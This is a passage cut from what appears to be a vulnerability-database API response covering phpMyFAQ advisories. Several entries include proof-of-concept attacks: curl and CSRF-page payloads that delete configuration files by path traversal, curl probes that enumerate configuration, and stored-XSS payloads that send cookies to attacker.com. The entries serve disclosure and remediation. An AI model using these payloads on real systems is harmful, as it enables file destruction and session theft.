                            "vulnerability": "VCID-rtvb-fx4h-13h5"
                        },
                        {
                            "vulnerability": "VCID-t65b-87xm-cbaj"
                        },
                        {
                            "vulnerability": "VCID-xenm-bpfy-w3f9"
                        },
                        {
                            "vulnerability": "VCID-ytay-2436-eubu"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.0-RC"
                }
            ],
            "aliases": [
                "CVE-2026-24420",
                "GHSA-7p9h-m7m8-vhhv"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-8frb-zq9k-zqac"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89128?format=api",
            "vulnerability_id": "VCID-g5vv-tya3-wkft",
            "summary": "phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController\n### Summary\nThe `MediaBrowserController::index()` method handles file deletion for the media browser. When the `fileRemove` action is triggered, the user-supplied `name` parameter is concatenated with the base upload directory path without any path traversal validation. The `FILTER_SANITIZE_SPECIAL_CHARS` filter only encodes HTML special characters (`&`, `'`, `\"`, `<`, `>`) and characters with ASCII value < 32, and does not prevent directory traversal sequences like `../`. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php`\n\n**Lines 43-66:**\n```php\n#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]\npublic function index(Request $request): JsonResponse|Response\n{\n    $this->userHasPermission(PermissionType::FAQ_EDIT);\n    // ...\n    $data = json_decode($request->getContent());\n    $action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);\n\n    if ($action === 'fileRemove') {\n        $file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);\n        $file = PMF_CONTENT_DIR . '/user/images/' . $file;\n\n        if (file_exists($file)) {\n            unlink($file);\n        }\n        // Returns success without checking if deletion was within intended directory\n    }\n}\n```\n\n**Root Causes:**\n1. **No path traversal prevention:** `FILTER_SANITIZE_SPECIAL_CHARS` does not remove or encode `../` sequences. It only encodes HTML special characters.\n2. **No CSRF protection:** The endpoint does not call `Token::verifyToken()`. Compare with `ImageController::upload()` which validates CSRF tokens at line 48.\n3. **No basename() or realpath() validation:** The code does not use `basename()` to strip directory components or `realpath()` to verify the resolved path stays within the intended directory.\n4. **HTTP method mismatch:** The route is defined as `methods: ['GET']` but reads the request body via `$request->getContent()`. This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.\n\n**Comparison with secure implementation in the same codebase:**\n\nThe `ImageController::upload()` method (same directory) properly validates file names:\n```php\nif (preg_match(\"/([^\\w\\s\\d\\-_~,;:\\[\\]\\(\\).])|([\\.]{2,})/\", (string) $file->getClientOriginalName())) {\n    // Rejects files with path traversal sequences\n}\n```\n\nThe `FilesystemStorage::normalizePath()` method also properly validates paths:\n\n```php\nforeach ($segments as $segment) {\n    if ($segment === '..' || $segment === '') {\n        throw new StorageException('Invalid storage path.');\n    }\n}\n```\n\n### PoC\n\n**Direct exploitation (requires authenticated admin session):**\n```bash\n# Delete the database configuration file\ncurl -X GET 'https://target.example.com/admin/api/media-browser' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=valid_admin_session' \\\n  -d '{\"action\":\"fileRemove\",\"name\":\"../../../content/core/config/database.php\"}'\n\n# Delete the .htaccess file to disable Apache security rules\ncurl -X GET 'https://target.example.com/admin/api/media-browser' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=valid_admin_session' \\\n  -d '{\"action\":\"fileRemove\",\"name\":\"../../../.htaccess\"}'\n```\n\n**CSRF exploitation (attacker hosts this HTML page):**\n```html\n<html>\n<body>\n<script>\nfetch('https://target.example.com/admin/api/media-browser', {\n  method: 'GET',\n  headers: {'Content-Type': 'application/json'},\n  body: JSON.stringify({\n    action: 'fileRemove',\n    name: '../../../content/core/config/database.php'\n  }),\n  credentials: 'include'\n});\n</script>\n</body>\n</html>\n```\n\nWhen an authenticated admin visits the attacker's page, the database configuration file (`database.php`) is deleted, effectively taking down the application.\n\n### Impact\n\n- **Server compromise:** Deleting `content/core/config/database.php` causes total application failure (database connection loss).\n- **Security bypass:** Deleting `.htaccess` or `web.config` can expose sensitive directories and files.\n- **Data loss:** Arbitrary file deletion on the server filesystem.\n- **Chained attacks:** Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.\n\n\n### Remediation\n\n1. **Add path traversal validation:**\n```php\nif ($action === 'fileRemove') {\n    $file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));\n    $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);\n    $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');\n\n    if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {\n        return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);\n    }\n\n    if (file_exists($targetPath)) {\n        unlink($targetPath);\n    }\n}\n```\n\n2. **Add CSRF protection:**\n```php\nif (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {\n    return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);\n}\n```\n\n3. **Change HTTP method to POST or DELETE** to align with proper HTTP semantics.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-34728",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00077",
                            "scoring_system": "epss",
                            "scoring_elements": "0.23217",
                            "published_at": "2026-06-05T12:55:00Z"
                        },
                        {
                            "value": "0.00077",
                            "scoring_system": "epss",
                            "scoring_elements": "0.23102",
                            "published_at": "2026-06-08T12:55:00Z"
                        },
                        {
                            "value": "0.00077",
                            "scoring_system": "epss",
                            "scoring_elements": "0.23157",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "0.00077",
                            "scoring_system": "epss",
                            "scoring_elements": "0.23202",
                            "published_at": "2026-06-06T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-34728"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.7",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.7",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track*",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-02T15:23:57Z/"
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.7",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track*",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-02T15:23:57Z/"
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34728",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.7",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34728"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-38m8-xrfj-v38x",
                    "reference_id": "GHSA-38m8-xrfj-v38x",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-38m8-xrfj-v38x"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/110180?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.1",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-2w3p-tar6-8qgk"
                        },
                        {
                            "vulnerability": "VCID-522f-tfh9-juea"
                        },
                        {
                            "vulnerability": "VCID-7um9-fk42-wqbs"
                        },
                        {
                            "vulnerability": "VCID-ghg9-s21m-jqe6"
                        },
                        {
                            "vulnerability": "VCID-kjwz-5bu7-q7cy"
                        },
                        {
                            "vulnerability": "VCID-mgy2-jjae-4qds"
                        },
                        {
                            "vulnerability": "VCID-nbs3-9fx9-p7en"
                        },
                        {
                            "vulnerability": "VCID-p8pd-8q9q-1kad"
                        },
                        {
                            "vulnerability": "VCID-qqc4-rvtj-97h5"
                        },
                        {
                            "vulnerability": "VCID-r378-d5zh-t7aw"
                        },
                        {
                            "vulnerability": "VCID-rtvb-fx4h-13h5"
                        },
                        {
                            "vulnerability": "VCID-t65b-87xm-cbaj"
                        },
                        {
                            "vulnerability": "VCID-xenm-bpfy-w3f9"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.1"
                }
            ],
            "aliases": [
                "CVE-2026-34728",
                "GHSA-38m8-xrfj-v38x"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-g5vv-tya3-wkft"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/92299?format=api",
            "vulnerability_id": "VCID-ghg9-s21m-jqe6",
            "summary": "phpMyFAQ's Missing CONFIGURATION_EDIT Permission Check on 12 Admin API Configuration Tab Endpoints Allows Information Disclosure by Any Authenticated User\n## Summary\n\n12 endpoints in `ConfigurationTabController.php` use `userIsAuthenticated()` (login-only check) instead of `userHasPermission(PermissionType::CONFIGURATION_EDIT)`. This allows any authenticated user — including ones with zero admin permissions — to enumerate system configuration metadata including the permission model, active template, cache backend, mail provider, and translation provider.\n\n## Details\n\nThe `ConfigurationTabController` contains 15 public endpoints. Three of them (`list`, `save`, `uploadTheme`) correctly enforce `CONFIGURATION_EDIT` permission:\n\n```php\n// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:63\npublic function list(Request $request): Response\n{\n    $this->userHasPermission(PermissionType::CONFIGURATION_EDIT); // ✅ Correct\n    // ...\n}\n```\n\nThe remaining 12 only check that the user is logged in:\n\n```php\n// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:353\npublic function translations(): Response\n{\n    $this->userIsAuthenticated(); // ❌ Missing permission check\n    // ...\n}\n```\n\nThe difference between these two methods is significant:\n\n```php\n// AbstractController.php:258 — login-only\nprotected function userIsAuthenticated(): void\n{\n    if (!$this->currentUser->isLoggedIn()) {\n        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');\n    }\n}\n\n// AbstractController.php:317 — login + permission check\nprotected function userHasPermission(PermissionType $permissionType): void\n{\n    if (!$this->currentUser->isLoggedIn()) {\n        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');\n    }\n    $currentUser = $this->currentUser;\n    if (!$currentUser?->perm->hasPermission($currentUser->getUserId(), $permissionType->value)) {\n        throw new ForbiddenException(/* ... */);\n    }\n}\n```\n\nThere is no middleware or router-level authorization — the Kernel (`Kernel.php`) dispatches directly to controllers with only Language, Router, and Exception listeners. All authorization is at the controller method level.\n\nThe 12 affected endpoints (all GET, all under `/admin/api/`):\n\n| # | Method | Route | Info Exposed |\n|---|--------|-------|-------------|\n| 1 | `translations()` | `/configuration/translations` | Available languages + current language |\n| 2 | `templates()` | `/configuration/templates` | Available themes + active theme |\n| 3 | `faqsSortingKey()` | `/configuration/faqs-sorting-key/{current}` | FAQ sorting key options |\n| 4 | `faqsSortingOrder()` | `/configuration/faqs-sorting-order/{current}` | FAQ sorting order |\n| 5 | `faqsSortingPopular()` | `/configuration/faqs-sorting-popular/{current}` | Popular FAQ sorting |\n| 6 | `permLevel()` | `/configuration/perm-level/{current}` | Permission model (basic/medium) |\n| 7 | `releaseEnvironment()` | `/configuration/release-environment/{current}` | Dev/production environment |\n| 8 | `searchRelevance()` | `/configuration/search-relevance/{current}` | Search relevance config |\n| 9 | `seoMetaTags()` | `/configuration/seo-metatags/{current}` | SEO meta tag config |\n| 10 | `translationProvider()` | `/configuration/translation-provider/{current}` | Translation service (DeepL, etc.) |\n| 11 | `mailProvider()` | `/configuration/mail-provider/{current}` | Mail provider (SMTP, etc.) |\n| 12 | `cacheAdapter()` | `/configuration/cache-adapter/{current}` | Cache backend (filesystem/redis/memcached) |\n\nThe `translations()` and `templates()` endpoints directly read from config/filesystem and expose current settings. The `{current}` endpoints render HTML `<option>` dropdowns where the caller-supplied value gets the `selected` attribute — an attacker can enumerate possible values to discover the current configuration.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as any user (even one with no admin permissions)\n# and obtain the session cookie (pmf_auth_XXXX)\n\n# Step 2: Query configuration endpoints that should require CONFIGURATION_EDIT permission\n\n# Enumerate available languages and current language setting\ncurl -s -b 'pmf_auth_XXXX=<session>' \\\n  https://target.example/admin/api/configuration/translations\n\n# Enumerate available templates and which is active\ncurl -s -b 'pmf_auth_XXXX=<session>' \\\n  https://target.example/admin/api/configuration/templates\n\n# Discover permission model by trying known values\ncurl -s -b 'pmf_auth_XXXX=<session>' \\\n  https://target.example/admin/api/configuration/perm-level/basic\n\n# Discover release environment\ncurl -s -b 'pmf_auth_XXXX=<session>' \\\n  https://target.example/admin/api/configuration/release-environment/development\n\n# Discover cache backend\ncurl -s -b 'pmf_auth_XXXX=<session>' \\\n  https://target.example/admin/api/configuration/cache-adapter/filesystem\n\n# Discover mail provider\ncurl -s -b 'pmf_auth_XXXX=<session>' \\\n  https://target.example/admin/api/configuration/mail-provider/smtp\n\n# Discover translation provider\ncurl -s -b 'pmf_auth_XXXX=<session>' \\\n  https://target.example/admin/api/configuration/translation-provider/deepl\n```\n\nExpected: HTTP 403 Forbidden for a user without `configuration_edit` permission.\nActual: HTTP 200 with configuration data in HTML option format.\n\n## Impact\n\nAny authenticated user (e.g., a regular FAQ contributor or a user with minimal permissions) can enumerate:\n\n- The instance's permission model (basic vs. medium) — reveals access control architecture\n- Whether the instance runs in development or production mode — development mode may expose debug info\n- The cache backend (filesystem/redis/memcached) — useful for targeting cache-specific attacks\n- The mail provider configuration — reveals infrastructure details\n- Available and active templates/themes — aids in targeting template-specific vulnerabilities\n- Translation provider (e.g., DeepL) — reveals third-party service integrations\n\nWhile no credentials or secrets are directly exposed, this configuration metadata aids targeted follow-up attacks and violates the principle of least privilege — these endpoints exist to serve the admin configuration UI and should require the same `CONFIGURATION_EDIT` permission as the `list` and `save` endpoints.\n\n## Recommended Fix\n\nReplace `$this->userIsAuthenticated()` with `$this->userHasPermission(PermissionType::CONFIGURATION_EDIT)` in all 12 affected methods:\n\n```php\n// In ConfigurationTabController.php — apply to all 12 methods\n// Before (line 355, and equivalent in all others):\n$this->userIsAuthenticated();\n\n// After:\n$this->userHasPermission(PermissionType::CONFIGURATION_EDIT);\n```\n\nAffected methods: `translations()`, `templates()`, `faqsSortingKey()`, `faqsSortingOrder()`, `faqsSortingPopular()`, `permLevel()`, `releaseEnvironment()`, `searchRelevance()`, `seoMetaTags()`, `translationProvider()`, `mailProvider()`, `cacheAdapter()`.",
            "references": [
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "4.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-rm98-82fr-mcfx",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "4.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-rm98-82fr-mcfx"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-rm98-82fr-mcfx",
                    "reference_id": "GHSA-rm98-82fr-mcfx",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-rm98-82fr-mcfx"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/114543?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.2",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-6xtn-52az-3bh1"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.2"
                }
            ],
            "aliases": [
                "GHSA-rm98-82fr-mcfx"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-ghg9-s21m-jqe6"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/49821?format=api",
            "vulnerability_id": "VCID-gnta-ej6g-g7fp",
            "summary": "phpMyFAQ: /api/setup/backup accessible to any authenticated user (authz missing)\nAuthenticated non‑admin users can call /api/setup/backup and trigger a configuration backup. The endpoint only checks authentication, not authorization, and returns a link to the generated ZIP.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24421",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00266",
                            "scoring_system": "epss",
                            "scoring_elements": "0.50269",
                            "published_at": "2026-06-08T12:55:00Z"
                        },
                        {
                            "value": "0.00266",
                            "scoring_system": "epss",
                            "scoring_elements": "0.50298",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "0.00266",
                            "scoring_system": "epss",
                            "scoring_elements": "0.50316",
                            "published_at": "2026-06-06T12:55:00Z"
                        },
                        {
                            "value": "0.00266",
                            "scoring_system": "epss",
                            "scoring_elements": "0.50308",
                            "published_at": "2026-06-05T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24421"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://gitlab.com/exploit-database/exploitdb/-/blob/main/exploits/php/webapps/52523.txt",
                    "reference_id": "CVE-2026-24421",
                    "reference_type": "exploit",
                    "scores": [],
                    "url": "https://gitlab.com/exploit-database/exploitdb/-/blob/main/exploits/php/webapps/52523.txt"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24421",
                    "reference_id": "CVE-2026-24421",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24421"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-wm8h-26fv-mg7g",
                    "reference_id": "GHSA-wm8h-26fv-mg7g",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-wm8h-26fv-mg7g"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-wm8h-26fv-mg7g",
                    "reference_id": "GHSA-wm8h-26fv-mg7g",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-26T16:14:22Z/"
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-wm8h-26fv-mg7g"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/73592?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.0.17",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.0.17"
                },
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/950446?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.0-RC",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-2w3p-tar6-8qgk"
                        },
                        {
                            "vulnerability": "VCID-522f-tfh9-juea"
                        },
                        {
                            "vulnerability": "VCID-7um9-fk42-wqbs"
                        },
                        {
                            "vulnerability": "VCID-g5vv-tya3-wkft"
                        },
                        {
                            "vulnerability": "VCID-ghg9-s21m-jqe6"
                        },
                        {
                            "vulnerability": "VCID-mgy2-jjae-4qds"
                        },
                        {
                            "vulnerability": "VCID-nbs3-9fx9-p7en"
                        },
                        {
                            "vulnerability": "VCID-nvb4-mht6-8kdn"
                        },
                        {
                            "vulnerability": "VCID-p8pd-8q9q-1kad"
                        },
                        {
                            "vulnerability": "VCID-qqc4-rvtj-97h5"
                        },
                        {
                            "vulnerability": "VCID-rtvb-fx4h-13h5"
                        },
                        {
                            "vulnerability": "VCID-t65b-87xm-cbaj"
                        },
                        {
                            "vulnerability": "VCID-xenm-bpfy-w3f9"
                        },
                        {
                            "vulnerability": "VCID-ytay-2436-eubu"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.0-RC"
                }
            ],
            "aliases": [
                "CVE-2026-24421",
                "GHSA-wm8h-26fv-mg7g"
            ],
            "risk_score": 10.0,
            "exploitability": "2.0",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-gnta-ej6g-g7fp"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/95909?format=api",
            "vulnerability_id": "VCID-mgy2-jjae-4qds",
            "summary": "phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering\n## Summary\n\nThe search result rendering template (`search.twig`) outputs FAQ content fields `result.question` and `result.answerPreview` using Twig's `| raw` filter, which completely disables the template engine's built-in auto-escaping.\n\nA user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, `html_entity_decode(strip_tags(...))` restores the raw HTML tags — bypassing `strip_tags()` — and the restored payload is injected into every visitor's browser via the `| raw` output.\n\nThis vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects `faq.twig`, bypass via regex mismatch in `Filter::removeAttributes()`) and is not addressed by the 4.1.1 patch.\n\n---\n\n## Affected Files\n\n| File | Location | Issue |\n|---|---|---|\n| `phpmyfaq/assets/templates/default/search.twig` | lines rendering `result.question`, `result.answerPreview` |  `(Vertical Bar) raw` disables autoescape |\n| `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` | search result processing loop | `html_entity_decode(strip_tags(...))` restores encoded payloads |\n| `phpmyfaq/src/phpMyFAQ/Search.php` | `logSearchTerm()` | No HTML sanitization on stored search term (secondary, preventive) |\n\n---\n\n## Details\n\n### Vulnerability A (Primary): `search.twig` — `| raw` Disables Autoescape\n\n**File:** `phpmyfaq/assets/templates/default/search.twig`\n\n```twig\n<a title=\"Test\" href=\"{{ result.url }}\">{{ result.question | raw }}</a>\n<small class=\"small\">{{ result.answerPreview | raw }}...</small>\n```\n\nTwig's autoescape encodes all variables by default. The `| raw` filter unconditionally disables this protection. Both `result.question` and `result.answerPreview` are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.\n\nSeven (7) instances of `| raw` exist in `search.twig`:\n\n```twig\n{{ result.renderedScore | raw }}\n{{ result.question | raw }}\n{{ result.answerPreview | raw }}\n{{ searchTags | raw }}\n{{ relatedTags | raw }}\n{{ pagination | raw }}\n{{ 'help_search' | translate | raw }}\n```\n\nEach of these constitutes an independent XSS surface if its data source is compromised.\n\n---\n\n### Vulnerability B (Amplifier): `SearchController.php` — `html_entity_decode(strip_tags())` Bypass\n\n**File:** `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php`\n\n```php\n$data->answer = html_entity_decode(\n    strip_tags((string) $data->answer),\n    ENT_COMPAT,\n    encoding: 'utf-8'\n);\n```\n\nThis pattern is a known security anti-pattern. When a payload is stored as HTML entities, `strip_tags()` passes it through unmodified (it sees no actual tags), and `html_entity_decode()` then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.\n\n**Bypass walkthrough:**\n```text\nStored in DB:    <svg onload=fetch('https://attacker.com/?c='+document.cookie)>\nstrip_tags()   → no change (no real tags detected)\n               → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>\nhtml_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>\n| raw output   → executes in browser\n```\n---\n\n## Attack Chain\n\n**Prerequisites:** Attacker has FAQ editor / contributor role (low privilege).\n\n**Step 1 — Payload injection**\n\nAttacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:\n```html\n<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>\n<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>\n```\n**Step 2 — Persistence**\n\nThe payload is stored in the DB without HTML sanitization at the storage layer.\n\n**Step 3 — Victim triggers the XSS**\n\nAny user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:\n\n1. Retrieves the record from the database\n2. Applies `strip_tags()` → entity-encoded payload passes through\n3. Applies `html_entity_decode()` → raw `<svg onload=...>` is restored\n4. Passes the value to `search.twig` as `result.answerPreview`\n5. Template renders with `| raw` → XSS executes\n\n**Step 4 — Impact**\n\n- Session cookie exfiltration → full account takeover\n- Administrator session hijacking (admin visiting search page)\n- Persistent attack: payload fires for every visitor until manually removed\n- Potential for worm propagation via auto-created FAQ entries\n\n---\n\n## PoC\n\n**Prerequisites:** Attacker has FAQ editor / contributor role (low privilege).\n\n**Step 1 — Inject payload via FAQ editor:**\n\n```bash\ncurl -X POST 'https://target.example.com/admin/api/faq/create' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=<editor_session>' \\\n  -d '{\n    \"data\": {\n      \"pmf-csrf-token\": \"<valid_csrf_token>\",\n      \"question\": \"&lt;svg onload=fetch(\\u0027https://attacker.com/?c=\\u0027+document.cookie)&gt;\",\n      \"answer\": \"&lt;img src=x onerror=fetch(\\u0027https://attacker.com/?c=\\u0027+document.cookie)&gt;\",\n      